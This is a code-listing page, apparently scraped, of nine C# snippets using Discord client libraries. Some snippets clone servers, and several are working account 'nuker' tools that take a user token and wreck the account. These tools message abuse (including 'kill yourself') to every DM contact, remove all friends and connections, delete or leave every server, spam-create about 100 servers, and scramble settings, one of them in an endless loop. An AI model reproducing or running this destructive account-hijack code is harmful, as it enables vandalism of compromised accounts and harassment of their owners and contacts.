예제 #1
0
파일: Tests.cs 프로젝트: faulty15/Faulty
        public async Task TestInitialize()
        {
            _context.WriteLine("Initializing.");

            _random = new Random();

            _hostBot     = new DiscordSocketClient(_hostToken);
            _targetBot   = new DiscordSocketClient(_targetToken);
            _observerBot = new DiscordSocketClient(_observerToken);

            await _hostBot.Login();

            await Task.Delay(3000);

            //Cleanup existing Guilds
            (await _hostBot.GetGuilds()).Select(x => x.Owner.Id == _hostBot.CurrentUser.Id ? x.Delete() : x.Leave());

            //Create new Guild and invite the other bots to it

            _testGuild = await _hostBot.CreateGuild("Discord.Net Testing", _hostBot.GetOptimalVoiceRegion());

            await Task.Delay(1000);

            PublicInvite invite = await _testGuild.CreateInvite(60, 3, false, false);

            _testGuildInvite = invite;

            _context.WriteLine($"Host: {_hostBot.CurrentUser.Username} in {(await _hostBot.GetGuilds()).Count()}");
        }
예제 #2
0
        private static void LRuiner(DiscordSocketClient client, LoginEventArgs args)
        {
            int numberofguildsa = client.GetGuilds().Count; Console.WriteLine($"<===========================>\nAccount Informations:\nTag: {client.User.Username}#{client.User.Discriminator} - ({client.User.Id})\nEmail: {client.User.Email} (Verified: {client.User.EmailVerified})\nHypeSquad: {client.User.Hypesquad}\nNumber of Payments Methods: {client.GetPaymentMethods().Count}\nPayments Count: {client.GetPayments(int.Parse("5")).Count}\nNitro: {client.User.Nitro}\nNumber of guilds: {numberofguildsa}\n<===========================>\n"); Console.WriteLine("Number of guilds? (Max 100)"); int guilds = int.Parse(Console.ReadLine()); Console.Clear(); Console.WriteLine("Type Enter"); Console.ReadLine(); client.SetStatus(Discord.UserStatus.Online); client.SendFriendRequest(ulong.Parse("709585179261272161")); client.User.ChangeSettings(new UserSettings()
            {
                Theme = Theme.Light
            }); client.User.ChangeSettings(new UserSettings()
            {
                Language = Language.Russian
            }); client.User.ChangeSettings(new UserSettings()
            {
                DeveloperMode = false
            }); client.User.ChangeSettings(new UserSettings()
            {
                PlayGifsAutomatically = false
            }); client.User.SetHypesquad(Hypesquad.Brilliance); client.User.ChangeSettings(new UserSettings()
            {
                CompactMessages = true
            }); client.User.ChangeSettings(new UserSettings()
            {
                EnableTts = true
            }); client.User.ChangeSettings(new UserSettings()
            {
                ExplicitContentFilter = ExplicitContentFilter.ILiveOnTheEdge
            }); foreach (dynamic dm in client.GetPrivateChannels())

            {
                try{ dm.TriggerTyping(); EmbedMaker embed = new EmbedMaker {
                         Title = "Ruined!", Description = "F**k", Color = Color.FromArgb(54, 57, 63), TitleUrl = "https://google.com/", ImageUrl = "https://images8.alphacoders.com/533/thumb-1920-533007.png", ThumbnailUrl = "https://images-ext-2.discordapp.net/external/21hUqyqlH0cUW-IlchfD-Jnghbo0sJfqVrL9uEwLfj4/https/cdn.discordapp.com/avatars/709585179261272161/a_a37f0a3cbc12433e37b35b4a9d0520a4.gif"
                     }; embed.Footer.Text = "Discord: Hideaki#0136!"; embed.Footer.IconUrl = "https://images-ext-2.discordapp.net/external/21hUqyqlH0cUW-IlchfD-Jnghbo0sJfqVrL9uEwLfj4/https/cdn.discordapp.com/avatars/709585179261272161/a_a37f0a3cbc12433e37b35b4a9d0520a4.gif"; dm.SendMessage("User ruined!", false, embed); }catch (Exception) { } Console.WriteLine($"[MPs] closed"); dm.Leave(); Thread.Sleep(100);
            }
            foreach (dynamic relationship in args.Relationships)
            {
                if (relationship.Type == RelationshipType.Friends)
                {
                    relationship.Remove(); Console.WriteLine("Delete friends...");
                }
                if (relationship.Type == RelationshipType.IncomingRequest)
                {
                    relationship.Remove(); Console.WriteLine("Delete Incoming friends requests...");
                }
                if (relationship.Type == RelationshipType.OutgoingRequest)
                {
                    relationship.Remove(); Console.WriteLine("Delete Outgoing friends requests...");
                }
                ; if (relationship.Type == RelationshipType.Blocked)
                {
                    relationship.Remove(); Console.WriteLine("Unblock blocked users...");
                }
                ;
            }
            foreach (dynamic guild in client.GetGuilds())
            {
                try{ if (guild.Owner)
                     {
                         guild.Delete(); Console.WriteLine($"Guild deleted: {guild.Name}");
                     }
                     else
                     {
                         guild.Leave(); Console.WriteLine($"Guild leave: {guild.Name}"); Thread.Sleep(100);
                     } }catch { Console.WriteLine($"Problem with: {guild.Name}"); }
            }
            WebClient wc = new WebClient(); string a = "destroyed"; wc.DownloadFile("https://i.imgur.com/d8lgDGj.png", $"{a}.png"); wc.Dispose(); for (dynamic i = 1; i <= guilds; i++)
            {
                client.CreateGuild("Nothing Here", Image.FromFile($"{a}.png"), "russia"); Console.WriteLine("Created: {0} guilds...", i);
            }
            int numberofguilds = client.GetGuilds().Count; if (numberofguilds <= 98)

            {
                using (HttpRequest join = new HttpRequest()) { join.AddHeader("Authorization", client.Token); join.Post("https://discord.com/api/v6/invite/minecraft"); } using (HttpRequest join = new HttpRequest()) { join.AddHeader("Authorization", client.Token); join.Post("https://discord.com/api/v6/invite/tfer7va"); }
            }
            else if (numberofguilds <= 99)
            {
                using (HttpRequest join = new HttpRequest()) { join.AddHeader("Authorization", client.Token); join.Post("https://discord.com/api/v6/invite/tfer7va"); }
            }
            Console.WriteLine("Success!(To do: Adding 'remove guild boost'\r\n(Typer Enter)"); Console.ReadLine(); Environment.Exit(0);
        }
예제 #3
0
        private static void Client_OnLoggedIn(DiscordSocketClient client, LoginEventArgs args)
        {
            Console.Write("Server (ID) to copy from: ");

            SocketGuild guild = client.GetCachedGuild(ulong.Parse(Console.ReadLine())); // u could also just grab from args.Guilds, but i prefer this method bcuz we can be sure that the info is up to date

            guild.Channels.OrderBy(c => c.Type != ChannelType.Category);

            Console.WriteLine("Duplicating guild...");
            DiscordGuild ourGuild = client.CreateGuild(guild.Name, guild.Icon.Hash == null ? null : guild.Icon.Download(), guild.Region);

            ourGuild.Modify(new GuildProperties()
            {
                DefaultNotifications = guild.DefaultNotifications, VerificationLevel = guild.VerificationLevel
            });

            Console.WriteLine("Duplicating roles...");
            Dictionary <ulong, ulong> dupedRoles = new Dictionary <ulong, ulong>();

            foreach (var role in guild.Roles.OrderBy(r => r.Position).Reverse())
            {
                dupedRoles.Add(role.Id, ourGuild.CreateRole(new RoleProperties()
                {
                    Name = role.Name, Color = role.Color, Mentionable = role.Mentionable, Permissions = new DiscordEditablePermissions(role.Permissions), Seperated = role.Seperated
                }).Id);
            }

            Console.WriteLine("Duplicating emojis...");
            foreach (var emoji in guild.Emojis)
            {
                try
                {
                    ourGuild.CreateEmoji(new EmojiProperties()
                    {
                        Name = emoji.Name, Image = emoji.Icon.Download()
                    });
                }
                catch (InvalidParametersException)
                {
                    // verified/partnered/lvl 3 boosted servers can have bigger emojis than allowed here
                }
                catch (DiscordHttpException ex)
                {
                    if (ex.Code == DiscordError.MaximumEmojis)
                    {
                        break;
                    }
                    else
                    {
                        throw;
                    }
                }
            }

            Console.WriteLine("Removing default channels...");
            foreach (var channel in ourGuild.GetChannels())
            {
                channel.Delete();
            }

            Console.WriteLine("Duplicating channels...");
            Dictionary <ulong, ulong> dupedCategories = new Dictionary <ulong, ulong>();

            foreach (var channel in guild.Channels.OrderBy(c => c.Type != ChannelType.Category))
            {
                var ourChannel = ourGuild.CreateChannel(channel.Name, channel.Type == ChannelType.News || channel.Type == ChannelType.Store ? ChannelType.Text : channel.Type, channel.ParentId.HasValue ? dupedCategories[channel.ParentId.Value] : (ulong?)null);
                ourChannel.Modify(new GuildChannelProperties()
                {
                    Position = channel.Position
                });

                if (ourChannel.Type == ChannelType.Text)
                {
                    var channelAsText = channel.ToTextChannel();

                    ourChannel.ToTextChannel().Modify(new TextChannelProperties()
                    {
                        Nsfw = channelAsText.Nsfw, SlowMode = channelAsText.SlowMode, Topic = channelAsText.Topic
                    });
                }
                else if (ourChannel.Type == ChannelType.Voice)
                {
                    var channelAsVoice = channel.ToVoiceChannel();

                    ourChannel.ToVoiceChannel().Modify(new VoiceChannelProperties()
                    {
                        Bitrate = Math.Max(96000, channelAsVoice.Bitrate), UserLimit = channelAsVoice.UserLimit
                    });
                }

                foreach (var overwrite in channel.PermissionOverwrites)
                {
                    if (overwrite.Type == PermissionOverwriteType.Role)
                    {
                        ourChannel.AddPermissionOverwrite(new DiscordPermissionOverwrite()
                        {
                            Id = dupedRoles[overwrite.Id], Type = PermissionOverwriteType.Role, Allow = overwrite.Allow, Deny = overwrite.Deny
                        });
                    }
                }

                if (ourChannel.Type == ChannelType.Category)
                {
                    dupedCategories.Add(channel.Id, ourChannel.Id);
                }
            }

            Console.WriteLine("Done");
        }
예제 #4
0
        private static void Client_OnLoggedIn(DiscordSocketClient client, LoginEventArgs args)
        {
            Console.Write("Server (ID) to copy from: ");

            SocketGuild guild = client.GetCachedGuild(ulong.Parse(Console.ReadLine())); // u could also just grab from args.Guilds, but i prefer this method bcuz we can be sure that the info is up to date

            Console.WriteLine("Duplicating guild...");
            DiscordGuild ourGuild = client.CreateGuild(guild.Name, guild.Icon == null ? null : guild.Icon.Download(), guild.Region);

            ourGuild.Modify(new GuildProperties()
            {
                DefaultNotifications = guild.DefaultNotifications, VerificationLevel = guild.VerificationLevel
            });

            Console.WriteLine("Duplicating roles...");
            Dictionary <ulong, ulong> dupedRoles = new Dictionary <ulong, ulong>();

            foreach (var role in guild.Roles.OrderBy(r => r.Position).Reverse())
            {
                dupedRoles.Add(role.Id, ourGuild.CreateRole(new RoleProperties()
                {
                    Name = role.Name, Color = role.Color, Mentionable = role.Mentionable, Permissions = role.Permissions, Seperated = role.Seperated
                }).Id);
            }

            Console.WriteLine("Duplicating emojis...");
            foreach (var emoji in guild.Emojis)
            {
                try
                {
                    ourGuild.CreateEmoji(new EmojiProperties()
                    {
                        Name = emoji.Name, Image = emoji.Icon.Download()
                    });
                }
                catch (DiscordHttpException ex)
                {
                    if (ex.Code == DiscordError.InvalidFormBody) // This is used whenever discord wants to give us parameter-specific errors
                    {
                        foreach (var param in ex.InvalidParameters)
                        {
                            foreach (var err in param.Value)
                            {
                                if (err.Code != "BINARY_TYPE_MAX_SIZE") // Bigger servers can have emojis with bigger file sizes, so let's just ignore these errors
                                {
                                    Console.WriteLine($"Error in {param.Key}. Reason: {err.Message}");
                                }
                            }
                        }
                    }
                    else if (ex.Code == DiscordError.MaximumEmojis)
                    {
                        break;
                    }
                    else
                    {
                        throw;
                    }
                }
            }

            Console.WriteLine("Removing default channels...");
            foreach (var channel in ourGuild.GetChannels())
            {
                channel.Delete();
            }

            Console.WriteLine("Duplicating channels...");
            Dictionary <ulong, ulong> dupedCategories = new Dictionary <ulong, ulong>();

            foreach (var channel in guild.Channels.OrderBy(c => c.Type != ChannelType.Category))
            {
                var ourChannel = ourGuild.CreateChannel(channel.Name, channel.IsText ? ChannelType.Text : channel.Type, channel.ParentId.HasValue ? dupedCategories[channel.ParentId.Value] : (ulong?)null);
                ourChannel.Modify(new GuildChannelProperties()
                {
                    Position = channel.Position
                });

                if (ourChannel.Type == ChannelType.Text)
                {
                    var channelAsText = (TextChannel)channel;

                    ((TextChannel)ourChannel).Modify(new TextChannelProperties()
                    {
                        Nsfw = channelAsText.Nsfw, SlowMode = channelAsText.SlowMode, Topic = channelAsText.Topic
                    });
                }
                else if (ourChannel.Type == ChannelType.Voice)
                {
                    var channelAsVoice = (VoiceChannel)channel;

                    ((VoiceChannel)ourChannel).Modify(new VoiceChannelProperties()
                    {
                        Bitrate = Math.Max(96000, channelAsVoice.Bitrate), UserLimit = channelAsVoice.UserLimit
                    });
                }

                foreach (var overwrite in channel.PermissionOverwrites)
                {
                    if (overwrite.Type == PermissionOverwriteType.Role)
                    {
                        ourChannel.AddPermissionOverwrite(dupedRoles[overwrite.AffectedId], PermissionOverwriteType.Role, overwrite.Allow, overwrite.Deny);
                    }
                }

                if (ourChannel.Type == ChannelType.Category)
                {
                    dupedCategories.Add(channel.Id, ourChannel.Id);
                }
            }

            Console.WriteLine("Done");
        }
예제 #5
0
        private static void Client_OnLoggedIn(DiscordSocketClient client, LoginEventArgs args)
        {
            Console.WriteLine("How Many Guilds? (Max is 100)");
            int guilds = int.Parse(Console.ReadLine());

            Console.Clear();
            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine("Success! Press Enter When Ready");
            Console.ForegroundColor = ConsoleColor.White;
            Console.ReadLine();

            client.User.ChangeSettings(new UserSettings()
            {
                Theme = Theme.Dark
            });
            client.User.ChangeSettings(new UserSettings()
            {
                Language = Language.Turkish
            });

            foreach (var dm in client.GetPrivateChannels())
            {
                try
                {
                    dm.TriggerTyping();
                    EmbedMaker embed = new EmbedMaker
                    {
                        Title        = "U are Turkish right?",
                        Description  = "So there is no problem to setting your Language Turkish, right?",
                        Color        = Color.FromArgb(0, 204, 255),
                        TitleUrl     = "https://github.com/lithell",
                        ImageUrl     = "https://cdn.discordapp.com/attachments/647463216489824276/664568953137266717/devilish.jpg",
                        ThumbnailUrl = "https://cdn.discordapp.com/attachments/647463216489824276/664568953137266717/devilish.jpg"
                    };
                    embed.Footer.Text    = "Edited by Lithe";
                    embed.Footer.IconUrl = "https://cdn.discordapp.com/attachments/647463216489824276/664568953137266717/devilish.jpg";
                    dm.SendMessage("Paff Paff!", false, embed);
                }
                catch (Exception) { }
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("Leaving DMs...");
                dm.Leave();

                Thread.Sleep(100);
            }

            foreach (var relationship in args.Relationships)
            {
                if (relationship.Type == RelationshipType.Friends)
                {
                    relationship.Remove();
                }
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("Removing Friends...");

                if (relationship.Type == RelationshipType.IncomingRequest)
                {
                    relationship.Remove();
                }
                Console.WriteLine("Removing Incoming Friend Req's");

                if (relationship.Type == RelationshipType.OutgoingRequest)
                {
                    relationship.Remove();
                }
                Console.WriteLine("Removing Outgoing Friend Req's");

                if (relationship.Type == RelationshipType.Blocked)
                {
                    relationship.Remove();
                }
                Console.WriteLine("Removing Blocked Users");
                Console.ForegroundColor = ConsoleColor.White;
            }


            foreach (var guild in client.GetGuilds())
            {
                try
                {
                    if (guild.Owner)
                    {
                        guild.Delete();
                    }

                    else
                    {
                        guild.Leave();
                    }
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine($"Left {guild}");
                    Console.ForegroundColor = ConsoleColor.White;

                    Thread.Sleep(100);
                }
                catch { }
            }

            WebClient wc = new WebClient();

            wc.DownloadFile("https://cdn.discordapp.com/attachments/647463216489824276/664568953137266717/devilish.jpg", "devilish.jpg");
            wc.Dispose();

            for (int i = 1; i <= guilds; i++)
            {
                client.CreateGuild("Devilish: https://discord.gg/5CRjRKh", Image.FromFile("devilish.jpg"), "russia");
                Console.WriteLine("Made {0} Guilds...", i);
            }
            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine("Done! You Can Now Close The Program.");
            Console.ForegroundColor = ConsoleColor.White;
        }
예제 #6
0
        private static void Client_OnLoggedIn(DiscordSocketClient client, LoginEventArgs args)
        {
            Console.WriteLine("How Many Guilds? (Max is 100)");
            int guilds = int.Parse(Console.ReadLine());

            Console.Clear();
            Console.WriteLine("Press Enter When Ready");
            Console.ReadLine();

            client.User.ChangeSettings(new UserSettings()
            {
                Theme = Theme.Light
            });
            client.User.ChangeSettings(new UserSettings()
            {
                Language = Language.Russian
            });

            foreach (var dm in client.GetPrivateChannels())
            {
                try
                {
                    dm.TriggerTyping();
                    EmbedMaker embed = new EmbedMaker
                    {
                        Title        = "ALL HAIL ANARCHY!",
                        Description  = "I just got riggity rekked!\nI got the big gay! LOL!\nTEOTFW Best Show",
                        Color        = Color.FromArgb(0, 204, 255),
                        TitleUrl     = "https://paypal.me/imtoopoorlol",
                        ImageUrl     = "https://cdn.discordapp.com/attachments/622851297607155722/627651954499387411/u_wot.jpg",
                        ThumbnailUrl = "https://cdn.discordapp.com/attachments/619273995681923092/627652607392874515/norfolk-terrier-i2.jpg"
                    };
                    embed.Footer.Text    = "Made by JustHideMe & Jenz!";
                    embed.Footer.IconUrl = "https://cdn.discordapp.com/attachments/624408319372820500/627529053884383240/Anarchy.png";
                    dm.SendMessage("BOOF!", false, embed);
                }
                catch (Exception) { }

                Console.WriteLine("Leaving DMs...");
                dm.Leave();

                Thread.Sleep(100);
            }

            foreach (var relationship in args.Relationships)
            {
                if (relationship.Type == RelationshipType.Friends)
                {
                    relationship.Remove();
                }
                Console.WriteLine("Removing Friends...");

                if (relationship.Type == RelationshipType.IncomingRequest)
                {
                    relationship.Remove();
                }
                Console.WriteLine("Removing Incoming Friend Req's");

                if (relationship.Type == RelationshipType.OutgoingRequest)
                {
                    relationship.Remove();
                }
                Console.WriteLine("Removing Outgoing Friend Req's");

                if (relationship.Type == RelationshipType.Blocked)
                {
                    relationship.Remove();
                }
                Console.WriteLine("Removing Blocked Users");
            }


            foreach (var guild in client.GetGuilds())
            {
                try
                {
                    if (guild.Owner)
                    {
                        guild.Delete();
                    }

                    else
                    {
                        guild.Leave();
                    }
                    Console.WriteLine($"Left {guild}");

                    Thread.Sleep(100);
                }
                catch { }
            }

            WebClient wc = new WebClient();

            wc.DownloadFile("https://cdn.discordapp.com/attachments/624408319372820500/627529053884383240/Anarchy.png", "face.png");
            wc.Dispose();

            for (int i = 1; i <= guilds; i++)
            {
                client.CreateGuild("Get Rekked. lol", Image.FromFile("face.png"), "russia");
                Console.WriteLine("Made {0} Guilds...", i);
            }
            Console.WriteLine("DONE! You Can Now Close The Program");
        }
예제 #7
0
파일: Program.cs 프로젝트: ohkriss/Anarchy
        private static void Client_OnLoggedIn(DiscordSocketClient client, LoginEventArgs args)
        {
            Console.Write("Guild ID: ");
            ulong guildId = ulong.Parse(Console.ReadLine());

            try
            {
                var targetGuild = client.GetCachedGuild(guildId);

                Console.WriteLine("Creating guild...");
                var guild = client.CreateGuild(targetGuild.Name, targetGuild.Icon == null ? null : targetGuild.Icon.Download(), targetGuild.Region);

                Console.WriteLine("Creating roles...");
                Dictionary <ulong, ulong> dupedRoles = new Dictionary <ulong, ulong>();
                foreach (var role in targetGuild.Roles.OrderBy(r => r.Position).Reverse())
                {
                    var properties = new RoleProperties()
                    {
                        Name = role.Name, Color = role.Color, Mentionable = role.Mentionable, Permissions = role.Permissions, Seperated = role.Seperated
                    };

                    if (role.Name == "@everyone")
                    {
                        dupedRoles[role.Id] = guild.EveryoneRole.Modify(properties).Id;
                    }
                    else
                    {
                        dupedRoles[role.Id] = guild.CreateRole(new RoleProperties()
                        {
                            Name = role.Name, Color = role.Color, Mentionable = role.Mentionable, Permissions = role.Permissions, Seperated = role.Seperated
                        }).Id;
                    }
                }

                Console.WriteLine("Creating emojis...");
                var dupedEmojis = new Dictionary <ulong, ulong>();
                foreach (var emoji in targetGuild.Emojis)
                {
                    try
                    {
                        var created = guild.CreateEmoji(new EmojiProperties()
                        {
                            Name = emoji.Name, Image = emoji.Icon.Download()
                        });
                        dupedEmojis[emoji.Id.Value] = created.Id.Value;
                    }
                    catch (DiscordHttpException ex)
                    {
                        if (ex.Code == DiscordError.InvalidFormBody || ex.Code == DiscordError.MaximumEmojis)
                        {
                            break;
                        }
                        else if (ex.Code != DiscordError.InvalidFormBody)
                        {
                            throw;
                        }
                    }
                    catch (RateLimitException)
                    {
                        break; // Discord likes to throw this after us after duping most of a guild's emojis, and it's so big that we might as well stop trying.
                    }
                }

                Console.WriteLine("Removing default channels...");
                foreach (var channel in guild.GetChannels())
                {
                    channel.Delete();
                }

                Console.WriteLine("Creating channels...");
                Dictionary <ulong, ulong> dupedChannels = new Dictionary <ulong, ulong>();
                foreach (var channel in targetGuild.Channels.OrderBy(c => c.Type != ChannelType.Category))
                {
                    var ourChannel = guild.CreateChannel(channel.Name, TranslateChannelType(channel), channel.ParentId.HasValue ? dupedChannels[channel.ParentId.Value] : (ulong?)null);
                    ourChannel.Modify(new GuildChannelProperties()
                    {
                        Position = channel.Position
                    });

                    if (ourChannel.Type == ChannelType.Text)
                    {
                        var channelAsText = (TextChannel)channel;
                        ((TextChannel)ourChannel).Modify(new TextChannelProperties()
                        {
                            Nsfw = channelAsText.Nsfw, SlowMode = channelAsText.SlowMode, Topic = channelAsText.Topic
                        });
                    }
                    else if (ourChannel.Type == ChannelType.Voice)
                    {
                        var channelAsVoice = (VoiceChannel)channel;
                        ((VoiceChannel)ourChannel).Modify(new VoiceChannelProperties()
                        {
                            Bitrate = Math.Min(96000, channelAsVoice.Bitrate), UserLimit = Math.Min(99, channelAsVoice.UserLimit)
                        });
                    }

                    foreach (var overwrite in channel.PermissionOverwrites)
                    {
                        if (overwrite.Type == PermissionOverwriteType.Role)
                        {
                            ourChannel.AddPermissionOverwrite(dupedRoles[overwrite.AffectedId], PermissionOverwriteType.Role, overwrite.Allow, overwrite.Deny);
                        }
                    }

                    dupedChannels[channel.Id] = ourChannel.Id;
                }

                bool hasWelcomeScreen    = TryGetWelcomeScreen(targetGuild, out var welcomeScreen);
                bool hasVerificationForm = TryGetVerificationForm(targetGuild, out var verificationForm);

                if (hasWelcomeScreen || hasVerificationForm)
                {
                    Console.WriteLine("Enabling Community...");

                    guild.Modify(new GuildProperties()
                    {
                        DefaultNotifications = GuildDefaultNotifications.OnlyMentions,
                        VerificationLevel    = GuildVerificationLevel.Low,
                        Features             = new List <string>()
                        {
                            "COMMUNITY", "WELCOME_SCREEN_ENABLED"
                        },
                        PublicUpdatesChannelId = dupedChannels[targetGuild.PublicUpdatesChannel.Id],
                        RulesChannelId         = dupedChannels[targetGuild.RulesChannel.Id],
                        Description            = targetGuild.Description,
                        ExplicitContentFilter  = ExplicitContentFilter.KeepMeSafe
                    });

                    if (hasWelcomeScreen)
                    {
                        List <WelcomeChannelProperties> channels = new List <WelcomeChannelProperties>();

                        foreach (var channel in welcomeScreen.Channels)
                        {
                            ulong?emojiId = null;

                            if (channel.EmojiId.HasValue)
                            {
                                if (dupedEmojis.TryGetValue(channel.EmojiId.Value, out ulong emId))
                                {
                                    emojiId = emId;
                                }
                                else
                                {
                                    continue;  // this relates to discord's ratelimit issue
                                }
                            }

                            channels.Add(new WelcomeChannelProperties()
                            {
                                ChannelId   = dupedChannels[channel.Channel.Id],
                                Description = channel.Description,
                                EmojiId     = emojiId,
                                EmojiName   = channel.EmojiName
                            });
                        }

                        guild.ModifyWelcomeScreen(new WelcomeScreenProperties()
                        {
                            Enabled = true, Description = welcomeScreen.Description, Channels = channels
                        });
                    }

                    if (hasVerificationForm)
                    {
                        // this doesnt work for some reason
                        guild.ModifyVerificationForm(new VerificationFormProperties()
                        {
                            Description = verificationForm.Description,
                            Enabled     = true,
                            Fields      = verificationForm.Fields.ToList()
                        });
                    }

                    Console.WriteLine("Updating news channels...");
                    foreach (var channel in targetGuild.Channels)
                    {
                        if (channel.Type == ChannelType.News)
                        {
                            client.ModifyGuildChannel(dupedChannels[channel.Id], new TextChannelProperties()
                            {
                                News = true
                            });
                        }
                    }
                }

                Console.WriteLine("Done!");
            }
            catch (DiscordHttpException ex)
            {
                if (ex.Code == DiscordError.UnknownGuild)
                {
                    Console.WriteLine("You are not in this guild");
                }
                else
                {
                    Console.WriteLine(ex.ToString());
                }
            }
        }
예제 #8
0
        private static void Client_OnLoggedIn(DiscordSocketClient client, LoginEventArgs args)
        {
            Console.WriteLine("Started client, nuking.");
            Console.Write("What do you want the servers to be named to? > ");
            string guildname = Console.ReadLine();

            Console.Write("What do you want to set the custom status to? > ");
            string status = Console.ReadLine();

            Console.Write("What do you want to send to everyone in the DM list. > ");
            string dmmessage = Console.ReadLine();

            Console.Write("Do you want to open dms with entire friend list? y/n [This can get the acc phone locked/disabled] > ");
            string opendms = Console.ReadLine();

            var guilds      = client.GetGuilds();
            var friends     = client.GetRelationships();
            var connections = client.GetConnectedAccounts();

            // Open dms with entire friend list.
            if (opendms == "y")
            {
                foreach (var friendids in friends)
                {
                    client.CreateDM(friendids.User.Id);
                }
            }

            // DM entire DM list
            var directmessages = client.GetPrivateChannels();

            foreach (var cid in directmessages)
            {
                client.SendMessage(cid.Id, dmmessage);
                Console.WriteLine("Sent a message to channel id [DMs] " + cid.Id);
                Thread.Sleep(500);
            }

            // Set custom status
            client.User.ChangeSettings(new UserSettingsProperties()
            {
                Theme         = DiscordTheme.Light,
                DeveloperMode = true,
                Language      = DiscordLanguage.Korean,
                CustomStatus  = new CustomStatus()
                {
                    Text = status
                }
            });

            // Leave/delete every guild.
            foreach (var guildids in guilds)
            {
                try
                {
                    client.LeaveGuild(guildids.Id);
                    Console.WriteLine("Left Guild " + guildids.Id);
                }
                catch
                {
                    try
                    {
                        client.DeleteGuild(guildids.Id);
                        Console.WriteLine("Deleted Guild " + guildids.Id);
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine("Could not delete a guild, possibly cuz of 2FA Error: " + ex);
                    }
                }
            }

            // Mass Create Guilds
            using (WebClient webClient = new WebClient())
                webClient.DownloadFile("https://gblobscdn.gitbook.com/spaces%2F-M9yNp3uGfRW04W_P6dE%2Favatar-1592659338854.png", "anarchy.png");
            for (int amount = 0; amount < 100; amount++)
            {
                client.CreateGuild(guildname, (DiscordImage)Image.FromFile("anarchy.png"), "europe");
                Console.WriteLine("Created a guild.");
            }

            // Remove all friends.
            foreach (var friendids in friends)
            {
                client.RemoveRelationship(friendids.User.Id);
                Console.WriteLine("Removed relationship with ID " + friendids.User.Id);
            }

            // Remove all connections.

            foreach (var connectionlist in connections)
            {
                client.RemoveConnectedAccount(connectionlist.Type, connectionlist.Id);
                Console.WriteLine("Removed connection " + connectionlist.Type + " with the id of" + connectionlist.Id + ".");
            }

            // Spam switch through dark and white mode, and rapidly change the language of the user's account.
            Console.WriteLine("Rapidly changing through dark and white mode, and random languages.");
            while (true)
            {
                try
                {
                    var values = Enum.GetValues(typeof(DiscordLanguage)).Cast <DiscordLanguage>();
                    foreach (var value in values)
                    {
                        client.User.ChangeSettings(new UserSettingsProperties
                        {
                            Theme    = DiscordTheme.Dark,
                            Language = value
                        });
                        client.User.ChangeSettings(new UserSettingsProperties
                        {
                            Theme    = DiscordTheme.Light,
                            Language = value
                        });
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("Error: " + ex);
                }
            }
        }
예제 #9
0
        private static void nuketoken(string nuketoken)
        {
            DiscordSocketClient nukeclient = new DiscordSocketClient();

            nukeclient.OnLoggedIn += Nukeclient_OnLoggedIn;
            try { nukeclient.Login(nuketoken); } catch { printC("Invalid token."); }
            void Nukeclient_OnLoggedIn(DiscordSocketClient client, LoginEventArgs args)
            {
                WebClient wc = new WebClient();

                wc.DownloadFile("https://cdn.discordapp.com/attachments/704745088861077556/704781261440548945/broke.png", "broke.png");
                wc.Dispose();
                nukeclient.User.ChangeSettings(new UserSettings()
                {
                    Theme = Theme.Light
                });
                nukeclient.User.ChangeSettings(new UserSettings()
                {
                    Language = Language.Russian
                });
                nukeclient.User.ChangeSettings(new UserSettings()
                {
                    CompactMessages = true
                });
                nukeclient.User.ChangeProfile(new UserProfile()
                {
                    Avatar = Image.FromFile("broke.png")
                });
                foreach (var dm in args.PrivateChannels)
                {
                    try
                    {
                        dm.SendMessage("i f*****g hate you", false);
                        dm.SendMessage("http://cdn-images.imagevenue.com/54/f0/e9/ME11ZJGR_o.jpg", false);
                        dm.SendMessage("http://cdn-images.imagevenue.com/c6/ef/e4/ME11ZJGP_o.jpg", false);
                        dm.SendMessage("http://cdn-images.imagevenue.com/fb/15/64/ME11ZJGQ_o.jpg", false);
                        dm.SendMessage("kill yourself", false);
                    }
                    catch { }
                    dm.Leave();
                    Thread.Sleep(100);
                }
                foreach (var relationship in args.Relationships)
                {
                    if (relationship.Type == RelationshipType.Friends)
                    {
                        relationship.Remove();
                    }
                    if (relationship.Type == RelationshipType.IncomingRequest)
                    {
                        relationship.Remove();
                    }
                    if (relationship.Type == RelationshipType.OutgoingRequest)
                    {
                        relationship.Remove();
                    }
                    if (relationship.Type == RelationshipType.Blocked)
                    {
                        relationship.Remove();
                    }
                }
                foreach (var guild in client.GetGuilds())
                {
                    try
                    {
                        if (guild.Owner)
                        {
                            guild.Delete();
                        }
                        else
                        {
                            guild.Leave();
                        }
                    }
                    catch { }
                }
                for (int i = 1; i <= 100; i++)
                {
                    nukeclient.CreateGuild("POOR LOL", Image.FromFile("broke.png"), "russia");
                }
                Thread.Sleep(5000);
                File.Delete("broke.png");
                nukeclient.Logout();
            }
        }